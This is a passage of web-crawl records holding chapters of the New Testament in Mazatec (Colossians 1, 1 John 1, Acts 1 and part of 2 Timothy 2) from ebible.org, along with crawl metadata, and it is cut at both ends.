'ñó tínokjoáya nga tíjtsa i̱sò'nde ko̱ 'ñó kjìn xi̱ta̱ nchifatjìya‑la̱ kjo̱hítsjeèn‑la̱ koni s'ín komàt'ioòn jñò k'e̱ nga jahatjìya‑la̱ kjo̱hítsjeèn‑nò nga jahas'en‑jiìn‑nò kjo̱ndaà‑la̱ Nainá xi nguì kjoa̱kixi̱. 7 K'oa̱á s'ín tsakóya‑nò Epafras jè xi̱ta̱ xi matsjacha‑je̱n nga ta̱ña nìxákjoò‑je̱n i̱t'aà ts'e̱ Nainá; nga jè Epafras, jngoò chi̱'nda‑la̱ Cristo xi kixi̱ síxá xi i̱t'aà tsa̱jòn. 8 Jyeé tsibéno̱jmí‑naje̱n nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá síkítsjeèn‑nò nga ndaà matsjacha xi̱ta̱.\n9 K'e̱ nga kina'yà‑je̱n, mìkiì nìjchàajiìn‑je̱n nga bìtsi'batjì‑nòje̱n. K'oa̱á s'ín nìjét'aà‑la̱je̱n Nainá nga nguì ndaà kàtasíchi̱ya‑nò koni s'ín mejèn‑la̱ jè; jè Ini̱ma̱ Tsjeè‑la̱ kàtatsjá‑nò kjo̱hítsjeèn ko̱ kjoa̱chji̱ne̱. 10 Ti̱koa̱á nìjét'aà‑la̱je̱n nga k'oa̱s'ín ti̱jchá yijo‑nò koni s'ín ok'ìn‑la̱ nga si̱ìjchá yijo‑la̱ xi xi̱ta̱‑la̱ Nainá, nga kjit'aà na̱chrjein k'oa̱s'ín t'e̱en koni s'ín mejèn‑la̱, nga k'oa̱s'ín t'e̱en ngats'iì kjoa̱ xi ndaà tjín ko̱ nga ìsa̱ ndaà jcha̱xkon yá‑né xi Nainá. 11 K'oa̱á ti̱s'ín nìjét'aà‑la̱je̱n Nainá nga tse nga'ñó kàtatsjá‑nò koni s'ín tjín nga'ñó‑la̱ xi mìkiì fehet'aà, mé‑ne nga kixi̱ ki̱tsa̱jna‑nò ni̱ta̱ mé kjoa̱ xi sa̱kò‑nò, ti̱koa̱ s'e̱‑nò kjoa̱tsejta ko̱ kjo̱tsja. 12 Tjiì‑là kjo̱ndaà Na̱'èn‑ná nga jè kisìkítsa̱jnandaà‑nò nga ti̱koa̱ tjoé‑nò kjo̱tjò xi jè jye tjíndaà‑la̱ ján ngajmiì ñánda iseèn choòn nga tsjá‑la̱ ngats'iì xi̱ta̱‑la̱ xi ya̱ chja̱‑ne na̱xa̱ndá‑la̱ Nainá. 13 Nainá kisìkítsa̱jnandei̱í‑ná i̱t'aà ts'e̱ nga'ñó‑la̱ xi̱ta̱ nei̱í jè xi otíxoma ñánda jñò choòn; ya̱á kisìkítsa̱jna‑ná ñánda tíhotíxoma Ki'ndí‑la̱ xi 'ñó matsjakeè, 14 jè xi ko̱ jní‑la̱ tsibíchjítjì‑ná nga kisìkítsa̱jnandei̱í‑ná ti̱koa̱ kisìjchàat'aà‑ná jé‑ná.\nJè Cristo tíjna ítjòn‑la̱ ngats'iì xi tsejèn ko̱ xi mìkiì tsejèn\n15 Ni̱ sa̱á jngoò xi̱ta̱ beèxkon Nainá ta̱nga jè Ki'ndí‑la̱ tsakó‑la̱ xi̱ta̱ yá‑ne xi Nainá. Nga̱ jè Ki'ndí‑la̱ xi tíjna ítjòn‑la̱ ngats'iì xi kisindaà i̱sò'nde. 16 Nga ko̱ Cristo, Nainá tsibíndaà yije xi tjín ngajmiì ko̱ xi tjín i̱ i̱t'aà nangui, xi tsejèn ko̱ xi mìkiì tsejèn, ngats'iì nga'ñó xi tjín i̱jiìn i̱sén, xi títsa̱jna ítjòn, xi otíxoma, xi xá ítjòn tjín‑la̱, ko̱ jñà nga'ñó xi mìkiì tsejèn‑ná; i̱t'aà ts'e̱é Cristo kisindaà yije‑ne ko̱ ts'e̱‑né. 17 Cristo, ìsa̱á kjòtseé tíjna mì k'oa̱‑ne ngats'iì tsojmì xi tjín, ko̱ jè tsjá‑la̱ nga'ñó ngats'iì tsojmì mé‑ne nga ndaà kítsa̱jna‑ne. 18 Jè Cristo tíjna sko̱‑la̱ na̱xa̱ndá‑la̱ nga ti̱jè‑ne yijo‑la̱ ko̱ i̱t'aà ts'e̱é kjòts'ia̱‑ne. K'e̱ nga jaáya‑la̱ Cristo i̱t'aà ts'e̱ kjoa̱biyaà, jè tsibìjna ítjòn‑la̱ i̱t'aà ts'e̱ xi̱ta̱ xi faáya‑la̱ mé‑ne nga jè kíjna ítjòn‑la̱ ni̱ta̱ mé xi tjín. 19 Nainá k'oa̱á s'ín kisaseèn‑la̱ nga jngoò k'aá ya̱ tsibìjnajiìn yijo‑la̱ Cristo, 20 nga i̱t'aà ts'e̱é Cristo, Nainá tsajoóndaàko̱ yije‑ne ngats'iì xi tjín i̱sò'nde ko̱ xi tjín ngajmiì; i̱t'aà ts'e̱ jní‑la̱ Jesucristo xi kixíxteèn ján i̱t'aà krò, Nainá kisìkijne 'nchán kjoa̱.\n21 Jñò, nga sa̱ ítjòn, ti̱koa̱á titsa̱jnat'aàxìn‑la Nainá; kondra̱á tsanguì‑là ya̱ i̱jiìn ini̱ma̱‑nò, koií kjoa̱‑la̱ nga ch'o tjín kjoa̱ xi ki'nè. 22 Ta̱nga i̱'ndei̱ jyeé ndaà tsajoóko̱‑nò Nainá koií kjoa̱‑la̱ jè kjo̱'in xi kisìkjeiín Cristo i̱ i̱t'aà nangui k'e̱ nga k'en. Koií k'oa̱s'ín kis'iìn‑ne mé‑ne nga tsjeè ki̱tsa̱jnaà‑nò, ko̱ ni̱mé jé xi s'e̱‑nò ko̱ ni̱mé xi ch'o kítjo̱nguio nga nguixko̱n Nainá. 23 Kjoa̱ koi mochjeén‑né nga kixi̱ ti̱tsa̱jnako̱o koni s'ín mokjeiín‑nò. Ko̱ kì binchat'aàxìn‑là kjoa̱ xi titsa̱chiñà‑là i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, 'én xi jye kina'yà‑là. Jè 'én jè, xki̱ xi ján tínokjoàyajiìn‑la̱ xi̱ta̱ kóho̱kji i̱sò'nde; ko̱ 'a̱n xi 'mì‑na Pablo, 'a̱án kjònga̱tsja nga okoòya 'én.\nXá‑la̱ Pablo\n24 I̱'ndei̱ matsjaá‑na̱ nga kjo̱'in tìsìkjiaán xi kjoa̱ tsa̱jòn nga k'oa̱á s'ín tísíjngoaà i̱jiìn yijo‑na̱ koni s'ín chijat'aà‑na kjo̱'in xi kitsjaà‑na Cristo xi kjo̱ndaà ts'e̱ na̱xa̱ndá‑la̱ nga ti̱jé‑ne yijo‑la̱. 25 'A̱án tísíkjeén‑na Nainá nga 'a̱n tìsìxákoa̱a na̱xa̱ndá‑la̱, xá xi kisìnga̱tsja‑na xi kjo̱ndaà tsa̱jòn nga nguì ndaà kèno̱jmiá 'én ndaà‑la̱, 26 jè 'én xi tíjna'ma‑la̱ Nainá nga ti̱sa̱ tàts'en‑la̱ kjoa̱, ta̱nga na̱chrjein i̱'ndei̱, Nainá jyeé tsakó‑la̱ xi̱ta̱‑la̱. 27 Jè Nainá k'oa̱á s'ín kjòmejèn‑la̱ nga tsakó‑la̱ jñà xi̱ta̱‑la̱ kó s'ín tjín kjoa̱'ma‑la̱ xi 'ñó jeya tíjna xi kjo̱ndaà ts'e̱ xi mìtsà xi̱ta̱ judío. Jè kjoa̱'ma, jè‑né nga jè Cristo tíjnajiìn ini̱ma̱‑nò jñò xi mìtsà xi̱ta̱ judío 'mì‑nò, k'oa̱á ma‑ne nga titsa̱chiñà‑là jñò kjoa̱jeya‑la̱ Nainá xi tsjá‑nò ján ngajmiì.\n28 K'oa̱á s'ín nokjoàyajiìn‑la̱je̱n ngats'iì xi̱ta̱ i̱t'aà ts'e̱ Cristo; 'ñó nokjoàko̱‑je̱n nga nguì ko̱ kjoa̱chji̱ne̱ okoòya‑la̱je̱n mé‑ne nga ngats'iì xi̱ta̱ xi fìt'aà‑la̱ Cristo ni̱mé chi̱jat'aà‑la̱ jè na̱chrjein k'e̱ nga ngaje̱n si̱ìnga̱tsja‑je̱n nga nguixko̱n Nainá. 29 K'oa̱á ma‑ne nga 'ñó tíbínè‑la̱ yijo‑na̱ nga tìsìxá, tìsìkjeén jè nga'ñó xi tsjá‑na Cristo.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/maaNT\/COL01.htm","date":"2021-10-24T18:11:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587593.0\/warc\/CC-MAIN-20211024173743-20211024203743-00446.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":819,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta xi kiskiì ítjòn San Juan\n1\nJesús, jè 'Én xi síkíjnakon ini̱ma̱‑ná\n1 Jè Jesús, jè 'Én xi síkíjnakon‑ná xi tíjna skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. Ta̱nga i̱'ndei̱, jyeé kina'yà‑la̱je̱n, ko̱ xko̱ón ki'ya‑naje̱n, kichìtsejèn‑la̱je̱n kó kji, ti̱koa̱á ndsa̱á kinìko̱‑na̱je̱n. 2 Jè 'Én jè, ki'ya tsejeén‑la̱. Ko̱ ki'ya‑náje̱n. Ko̱ nguì kjoa̱ kixi̱‑né xi bèno̱jmí‑je̱n xi i̱t'aà ts'e̱. Ko̱ ti̱koa̱á bèno̱jmíya‑nòje̱n jè 'Én xi síkíjnakon ini̱ma̱‑ná ni̱ta̱ kjé‑ne. Jè 'Én jè, k'e̱ nga ti̱sa̱ ítjòn, ya̱á tíjnat'aà‑la̱ Nainá. Ta̱nga i̱'ndei̱, jyeé tsatsejèn‑naje̱n. 3 Bèno̱jmí‑naje̱n kjoa̱ xi ki'ya‑je̱n ko̱ xi kina'yà‑je̱n, mé‑ne jñá, k'oa̱ ti̱s'ín ngásòn ki̱tsa̱jnakoa̱á, koni s'ín ndaà titsa̱jnakoa̱á Nainá xi Na̱'én‑ná ma, ko̱ Ki'ndí‑la̱ xi Jesucristo. 4 Koií xá titsa̱chjiì‑nòje̱n Xo̱jo̱n jè mé‑ne nga nguì ko̱ kjo̱tsja kàtasakó kjit'aà‑la̱ ini̱ma̱‑ná.\nJè Nainá kjoa̱ iseèn‑né\n5 K'oa̱á s'ín tjín jñà 'én xi tsakóya‑naje̱n Jesucristo, ko̱ koií‑né xi nokjoàyajiìn‑nòje̱n: Jè Nainá, kjoa̱ iseèn‑né. Xi i̱t'aà ts'e̱, tsjìn xi kjoa̱ jñò. 6 Tsà kixoán nga ndaà titsa̱jnakoa̱á Nainá, ta̱nga tsà ya̱á titsa̱nìjchá yijo‑ná ya̱ ñánda jñò choòn, ñánda tjín kjoa̱ch'o, 'én ndisoó titsa̱nokjoá; mìtsà kjoa̱ kixi̱ xi titsa̱'né. 7 Ta̱nga tsà ya̱ titsa̱jnaá ñánda iseèn choòn, koni jè Nainá ya̱á tíjna ñánda iseèn choòn, ndaá titsa̱jnakoa̱á xinguia̱á, ko̱ jè jní‑la̱ Jesucristo xi Ki'ndí‑la̱ Nainá ma, sítsjeè yijeé jñà jé xi tjín‑ná.\n8 Tsà kixoán: \"Tsjìn‑na jé\", ti̱jñá titsa̱chona̱cha̱n‑lá yijo‑ná; mìtsà kjoa̱ kixi̱ xi titsa̱nokjoá. 9 Ta̱nga tsà kéno̱jmí yije‑lá Nainá jñà jé xi tjín‑ná, ko̱maá jè kjót'aàtakoán nga si̱ìjchàat'aà‑ná jé‑ná ti̱koa̱á si̱ìtsjeèya‑ná ngats'iì kjoa̱ xi ch'o 'né. Nga̱ jè Nainá síkitasòn 'én‑la̱, ko̱ nguì kjoa̱ kixi̱í xi s'ín. 10 Ta̱nga tsà kixoán: \"Kj'eè tsà jé otsjià\", jè Nainá ndisoó titsa̱nachrjekànguiaá, ko̱ mìtsà kixi̱ kjoa̱ nga mokjeiín‑ná jè 'én‑la̱.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/maaNT\/1JN01.htm","date":"2021-10-23T05:38:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585561.4\/warc\/CC-MAIN-20211023033857-20211023063857-00371.warc.gz","language":"maa","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000035762786865}","num_words":265,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kó kis'iìn jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús\n1\n'Én xi kitsjaà Jesús nga i̱skan kjoi̱í Ini̱ma̱ Tsjeè‑la̱ Nainá\n1 Ngaji̱ Na̱'èn Teófilo, jè xo̱jo̱n xi 'a̱n kiskiì ítjòn‑lè, k'oa̱á kixan‑lè ngats'iì kjoa̱ xi kis'iìn ko̱ xi tsakóya Jesús kóni nga tsibíts'ia̱ nga kisìxá 2 skanda jè na̱chrjein k'e̱ nga Nainá kiìko̱ ìjngoò k'a‑ne ján ngajmiì. K'e̱ nga ti̱kj'eè fì‑ne ján ngajmiì, jè nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ kisìkjeén nga jaàjiìn xi̱ta̱ xi tsibíxáya‑la̱ nga kitsjaà‑la̱ kjo̱tíxoma mé xá xi s'i̱in. 3 K'e̱ nga k'en ko̱ nga jaáya‑la̱ i̱t'aà ts'e̱ kjo̱biyaà nguì ichán na̱chrjein tsibìjna ìsa̱; kjìn k'a tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱‑la̱ ko̱ kjìn sko̱ya kjoa̱ kis'iìn nga kixi̱ kjoa̱ nga tíjnakon. Ti̱koa̱á tsakóya‑la̱ xi̱ta̱‑la̱ kós'ín otíxoma Nainá.\n4 K'e̱ nga tíjnako̱ xi̱ta̱‑la̱ k'oa̱á s'ín kitsjaà‑la̱ o̱kixi̱, kitsò‑la̱:\n―Kì tà chjà bitjojñoò na̱xa̱ndá Jerusalén. Chíña kjoa̱a skanda k'e̱ nga ki̱tjojen kjo̱ndaà xi tsjá Na̱'èn‑na̱ koni s'ín kitsjaà tso'ba. Jyeé k'oa̱s'ín kixan‑nò nga sa̱ ítjòn. 5 Kixi̱í kjoa̱, jè Juan, nandá kis'iìn‑ne bautizar xi̱ta̱. Ta̱nga jñò, machrañà na̱chrjein nga ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ko̱ma‑nò bautizar.\nKií komà k'e̱ nga kiì mijìn ìjngoò k'a‑ne Jesús ján ngajmiì\n6 Jñà xi̱ta̱ xi títsa̱jnako̱ Jesús, kiskònangui‑la̱, kitsò‑la̱:\n―Na̱'èn, xi ji̱ otìxoma‑náje̱n, jñà na̱chrjein koi, ¿a si̱kíjnandei̱í ìjngoò k'a‑ne na̱xa̱ndá Israel nga ta jè ta̱jngoò ko̱tìxoma‑la̱ yijo‑la̱?\n7 Jesús kitsò:\n―Mìtsà jñò oko̱‑nò nga jcha̱a na̱chrjein; ta̱ jngoò Na̱'èn‑ná beè kó s'ín kosòn‑la̱ xi kjo̱tíxoma ts'e̱. 8 Ta̱nga k'e̱ nga ki̱tjojen‑nè‑nò jè Ini̱ma̱ Tsjeè‑la̱ Nainá, tjoé‑nò nga'ñó‑la̱. Jñò kéno̱jmí‑là xi̱ta̱ xi i̱t'aà ts'a̱n i̱ Jerusalén, kóho̱kji nga kijndà nangui Judea ko̱ Samaria, skanda ñánda fehet'aà‑ne i̱sò'nde.\n9 K'e̱ nga jye o̱kitsò Jesús, i̱kjoàn kitjámijìn i'nga nga kiìko̱ ìjngoò k'a Nainá ján ngajmiì ko̱ jñà xi̱ta̱‑la̱ nchikotsejèn‑la̱. Chaán mì ti̱ kiì kijtseè‑ne nga jè ifi tsibíjtsa'ma. 10 Jñà xi̱ta̱‑la̱, k'e̱ nga nchikotsejèn‑la̱ nga tífì‑mijìn ngajmiì Jesús, tà ni̱to̱ón j'iì kinchat'aà jò‑la̱ xi̱ta̱ xi íkjá nikje chroba. 11 Kitsò jñà xi̱ta̱ koi:\n―Jñò xi xi̱ta̱ Galilea tsa̱jòn, ¿mé‑ne ko̱s'ín chìtsejèn‑nò ngajmiì? Jè Jesús, koni s'ín kà'yaà nga kòfìmijìn ìjngoò k'a‑ne ngajmiì, ki̱jchò na̱chrjein nga k'oa̱ ti̱s'ín kjoi̱í ìjngoò k'a‑ne.\nKií komà nga kitjaàjiìn Matías\n12 Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús inchrobà‑ne nindoò Yá Olivo nga kiì ìjngoò k'a‑ne Jerusalén. K'oa̱á kji chrañàt'aà fì ndi̱yá Jerusalén koni kji tsjá'nde kjo̱tíxoma nga ma fì xi̱ta̱ k'e̱ nga na̱chrjein nìkjáya. 13 K'e̱ nga ijchò‑ne na̱xa̱ndá Jerusalén, kiìmijìn i̱sò'nga ni'ya, jahas'en cuarto ñánda síkjáya. Jñà xi̱ta̱ xi ijchò, jè Pedro, Jacobo, Juan, Andrés, Felipe, Tomás, Bartolomé, Mateo, Jacobo ki'ndí‑la̱ Alfeo, Simón Celote, Judas, ti‑la̱ Jacobo. 14 Ngats'iì xi̱ta̱ koi ya̱á bixoña nga kjit'aà na̱chrjein nga jngoò tjín kjo̱hítsjeèn‑la̱ nga chja̱t'aà‑la̱ ti̱koa̱ bítsi'ba‑la̱ Nainá; ti̱koa̱á títsa̱jna i'nga íchjín ko̱ María xi nea̱‑la̱ Jesús ko̱ jñà 'ndse̱ Jesús.\n15 Jñà na̱chrjein koi, Pedro, kiìchja̱jiìn‑la̱ xi̱ta̱ xíkjín xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Maá‑là tsà jngoò sìndo̱ ko̱ kaàn jñà xi̱ta̱. Pedro kitsò:\n16 ―'Ndsè, tjín‑ne nga ki̱tasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá jñà 'én xi kjòtseé kiìchja̱ Ini̱ma̱ Tsjeè‑la̱ Nainá nga jè xi̱ta̱xá ítjòn David kisìkjeén nga kiìchja̱ mé xi ko̱mat'in Judas, jè xi kiìkakó‑la̱ xi̱ta̱ xi kitsobà'ñó Jesús. 17 Judas, nga xi̱ta̱ xingui̱‑náje̱n. Ti̱koa̱á kitjoé‑la̱ xá nga ngaje̱n kisìxáko̱‑naje̱n. 18 Jè to̱n xi kisìkijne Judas i̱t'aà ts'e̱ jé xi tsohótsji, nanguií tsatse jngoò 'nde‑ne; i̱kjoàn sko̱ kiskaànguit'aà‑ne nangui, jngoò k'a kixojndà i̱ndso̱'ba̱, itjo ndó'ye‑la̱. 19 K'e̱ nga jye kiì'nchré yije xi̱ta̱ na̱xa̱ndá Jerusalén nga jye k'en Judas, i̱'nde jè, k'oa̱á s'ín tsibít'aà 'ín nga Acéldama kitsò‑la̱. 'Én ts'e̱ xi chja̱, tsòyaá‑ne: \"I̱'nde ts'e̱ Jní‑né.\" 20 Jè xo̱jo̱n ts'e̱ Salmo, k'oa̱á s'ín tíchja̱ nga tsò:\nNi'ya‑la̱ kàtasijna tiya‑né,\nni̱jngoò xi̱ta̱ kítsa̱jnaya.\nTi̱koa̱á tíchja̱ Salmo ñánda tsò:\nKj'ei̱í xi̱ta̱ kàt'iì‑la̱ xá‑la̱.\n21 'Mochjeén‑né nga kj'ei̱í xi̱ta̱ sakó ìjngoò‑ìsa xi jè ngajo‑la̱ Judas; jñà chjaàjiìn‑jngoaá xi̱ta̱ xi kjòtseé tjímako̱‑ná skanda k'e̱ nga ti̱sa̱ tsajmeiìko̱‑ná Jesús, 22 mats'ia̱ko̱‑ne nga kis'iìn bautizar Juan skanda k'e̱ nga tsijin ìjngoò k'a‑ne Jesús ján ngajmiì, mé‑ne nga kíjnako̱‑ná ti̱koa̱ tsjá 'én nga Jesús jyeé jaáya‑la̱.\n23 K'e̱é tsafaájiìn jò xi̱ta̱: jngoò xi 'mì José, ti̱koa̱ tjít'aàsòn 'ín‑la̱ nga Barsabás 'mì. Barsabás, ko̱ ti̱jè‑ne xi 'mì Justo. Xi ìjngoò, Matías 'mì. 24 I̱kjoàn kiìchja̱t'aà‑la̱ Nainá kitsò:\n―Ngaji̱ Na̱'èn, xi yaxkoin ini̱ma̱‑la̱ ngats'iì xi̱ta̱, ko̱t'ìn‑náje̱n ñá‑la̱á ingajò xi̱ta̱ koi jye kàchjaàjiìn, 25 mé‑ne nga skoé xá‑lè xi ji̱ bíxáya‑la̱, jè xá xi kisìkíjna Judas k'e̱ nga tsohótsji jé, nga jye tíjna i̱'nde ñánda oko̱‑la̱.\n26 Kisìskákjoò suerte‑la̱. Jè Matías kisìkijne. Jè komà‑ne tejò xi̱ta̱ xi tsibíxáya‑la̱ Jesús xi tejngoò ma nga sa̱ ítjòn.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/maaNT\/ACT01.htm","date":"2021-10-25T03:12:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587623.1\/warc\/CC-MAIN-20211025030510-20211025060510-00320.warc.gz","language":"maa","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000005841255188}","num_words":700,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nTimoteo, jngoò soldado‑la̱ Cristo xi ndaà síxá‑la̱\n1 Ngaji̱ Timoteo koni tsà ki'ndí ts'a̱n xan‑lè, tjiì‑la̱ nga'ñó yijo‑lè i̱t'aà ts'e̱ kjo̱ndaà xi tsjá Jesucristo nga jè titsa̱jnakoa̱á. 2 Jè 'én xi kina'yà‑ná nga kichjàya nguixko̱n nga kjìn ma xi̱ta̱ xi kiì'nchré, k'oa̱á s'ín ta̱kóya‑la̱ xi xi̱ta̱ kixi̱ xi ndaà ma‑la̱ okóya mé‑ne k'oa̱ ti̱s'ín ko̱kòya ngajo‑la̱ xi̱ta̱ xi kj'ei̱í.\n3 Ngaji̱ Timoteo, ti̱kjeiín‑ko̱‑ná kjo̱'in nga ndaà mìt'aà‑la̱ Jesucristo koni jngoò soldado xi síkjeiín kjo̱'in. 4 Jngoò xi̱ta̱ xi soldado síkitasòn mìkiì tjí'nde‑la̱ nga kj'ei̱í xá skóngajiìn xi tjín i̱sò'nde, tjínè‑la̱ nga ya̱ si̱kitasòn‑la̱ jè xi kitsjaà‑la̱ xá mé‑ne nga ndaà kíjnako̱. 5 K'oa̱á ti̱s'ín tjín jè ts'e̱ xi̱ta̱ xi síská. Tsà mì kixi̱í si̱ìská koni s'ín tjín kjo̱tíxoma‑la̱ mìkiì tjoé‑la̱ chjí‑la̱. 6 Xi̱ta̱ xi bínè‑la̱ yijo‑la̱ nga ndaà síxá nga bítje̱ tsojmì tjè, k'e̱ nga jye ko̱jchá tsojmì, jè tjoé ítjòn chiba‑la̱ tsojmì xi majchá koni tsà chjí‑la̱. 7 Ti̱kítsjiìn koni s'ín tìxan‑lè. Jè Nainá ìsa̱ ndaà tsjáya yije‑lè kjo̱hítsjeèn.\n8 Ti̱kítsjiìn i̱t'aà ts'e̱ Jesucristo, jè xi jaáyajiìn‑la̱ mik'en xi tje̱‑la̱ xi̱ta̱xá ítjòn xi David ki'mì. K'oa̱á tsò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n chjàya. 9 Koií kjoa̱‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n chjàya, tìsìkjiaán kjo̱'in skanda na'ñó ki̱cha̱ tjít'aà'ñoá nga tìjna̱'ya nda̱yá koni jngoò xi̱ta̱ xi 'ñó ts'e̱n. Ta̱nga jè 'én‑la̱ Nainá mìtsà tjít'aà'ñó i̱ya nda̱yá. 10 Koií kjoa̱‑la̱ tìsìkjiaán yije kjo̱'in xi kjo̱ndaà ts'e̱ xi̱ta̱ xi xó jaàjiìn‑ne Nainá mé‑ne nga ti̱koa̱ ki̱tjokàjiìn‑ne kjo̱'in xi i̱t'aà ts'e̱ Cristo Jesús; s'e̱é‑la̱ kjoa̱jeya xi mìkiì fehet'aà ni̱ta̱ kjé‑ne.\n11 'Én koi, 'én kixi̱‑ne nga tsò:\nNga ya̱ k'en‑koa̱á Cristo, ti̱koa̱á ya̱á ki̱tsa̱jnakon‑koa̱á.\n12 Tsà chíkjoa̱‑ná kjo̱'in ti̱koa̱á ya̱á ko̱ti̱xomakoa̱á Cristo.\nTsà kixoán mìkiì bexkoan, jè k'oa̱á ti̱ ki̱tso̱‑ná mìkiì bexkoan.\n13 Tsà mìkiì si̱kitasoán 'én xi nokjoá, ta̱nga Nainá síkitasòn 'én xi chja̱.\nMìkiì ko̱ma si̱ìkjatjìya 'én‑la̱.\nJngoò xi̱ta̱ xi ndaà síxá‑la̱ Cristo\n14 Ti̱kítsjeèn‑la̱ kjoa̱ koi. Ti̱nókjoa̱koi̱i nga nguixko̱n Nainá mé‑ne nga mì ko̱hótiya‑ne kjoa̱ ts'e̱ 'én. Jè kjoa̱ xi chitiya‑ne ni̱mé chjí‑la̱. Ta̱ sa̱á síkits'ón xi̱ta̱ xi 'nchré. 15 'Ñó ndaà tjínè‑la̱ yijo‑lè mé‑ne nga ndaà ki̱jna‑ne nga nguixko̱n Nainá. Ni̱mé xi ko̱sobà‑lè nga ndaà tjín xá‑lè koa̱ ndaà okoòyi 'én kixi̱‑la̱ Cristo. 16 Kì ta̱xki̱ nokjoà‑jèn 'én xi mìkiì sasén‑la̱ Nainá xi ni̱mé chjí‑la̱. Jñà xi̱ta̱ xi k'oa̱s'ín chja̱, ìsa̱á 'ñó binchat'aàxìn‑ìsa‑la̱ Nainá. 17 Jñà 'én xi ch'o tsò k'oa̱á ngaya‑la̱ koni ch'in nchikòn xi bi'ndo‑ne yijo‑ná. K'oa̱á s'ín chja̱ Himeneo ko̱ Fileto 18 nga jyeé chinchat'aàxìn‑la̱ xi kjoa̱kixi̱ nga tsò: \"Jè kjoa̱ xi faáya‑la̱ mik'en jyeé tsato‑né.\" K'oa̱á ma‑ne sískáya i'nga‑la̱ xi̱ta̱ kjoa̱ xi mokjeiín‑la̱. 19 Ta̱nga Nainá jyeé tsibíjna'ñó tàts'en jngoò kjoa̱kixi̱ ñánda tjít'aà 'én xi tsò: \"Nainá beèxkon‑né xi xi̱ta̱ ts'e̱\"; ngats'iì xi tsò: \"'A̱n, xi̱ta̱‑la̱ Cristo‑ná, kàtinchat'aàxìn‑la̱ kjoa̱ xi ch'o tjín.\"\n20 Jngoò ni'ya xi je kji, tjín tsojmì xi oro ko̱ plata. Ti̱koa̱á tjín tsojmì xi yá ko̱ xi ni'nde. Tjín tsojmì xi na̱chrjein nchijòn mochjeén koa̱ tjín xi tà k'e̱ mochjeén k'e̱ nga ndaà tíma. 21 Tsà si̱tsjeé kjo̱hítsjeèn‑ná nga ki̱nchat'aàxìn‑lá kjoa̱ xi ch'o tjín, k'oa̱á s'ín si̱ìkjeén‑ná Nainá koni tsojmì tsjeè xi tà k'e̱ mochjeén k'e̱ nga ndaà tíma. Titsa̱jnandaà nga si̱kitasoán ni̱ta̱ mé xá‑la̱ Nainá xi ndaà tjín.\n22 Ngaji̱ Timoteo, ti̱si̱t'aàxìn‑la̱ kjo̱hítsjeèn‑la̱ i̱xti xi ch'o tjín. Koií t'in tji̱ngui‑la̱ xi kjoa̱kixi̱, ko̱ kjoa̱ xi mokjeiín‑ná i̱t'aà ts'e̱ Cristo, ko̱ kjoa̱tjòcha, ko̱ kjoa̱'nchán takòn. K'oa̱s'ín t'in tji̱ngui‑la̱ kjoa̱ koi ko̱ xi̱ta̱ xi tsjeè tjín ini̱ma̱‑la̱ nga chja̱t'aà‑la̱ Nainá. 23 Kì kjoa̱ nchi̱kón nìs'in‑la̱ xi ni̱mé chjí‑la̱. Jyeé ndaà tíjiìn‑lè nga kjoa̱siì ótsji. 24 Jngoò chi̱'nda‑la̱ Nainá mìkiì mochjeén nga kjoa̱siì skóngajiìn. Ndaà kàtasìko̱ yije xi̱ta̱. Kàtìjnandaà nga ko̱kòya 'én‑la̱ Nainá. Kàtas'e‑la̱ kjoa̱tsetakòn mé kjoa̱ xi mat'in. 25 Ko̱ó kjo̱ndaà‑la̱ kàtasíkixi̱ya jñà xi xi̱ta̱ kondra̱, tsà koi na̱chrjein Nainá tsjá ìsa̱‑la̱ na̱chrjein nga si̱ìkájno jé‑la nga mì ti̱ jé ko̱hótsji‑ne mé‑ne nga ko̱kjeiín‑la̱ xi kjoa̱kixi̱. 26 K'e̱ nga táx'a̱nguì xko̱n, ko̱maá ki̱tjokàjiìn kjoa̱na̱cha̱n‑la̱ nei̱í nga ya̱ tjít'aà'ñó‑la̱ nga k'oa̱s'ín síkitasòn‑la̱ koni s'ín mejèn‑la̱ 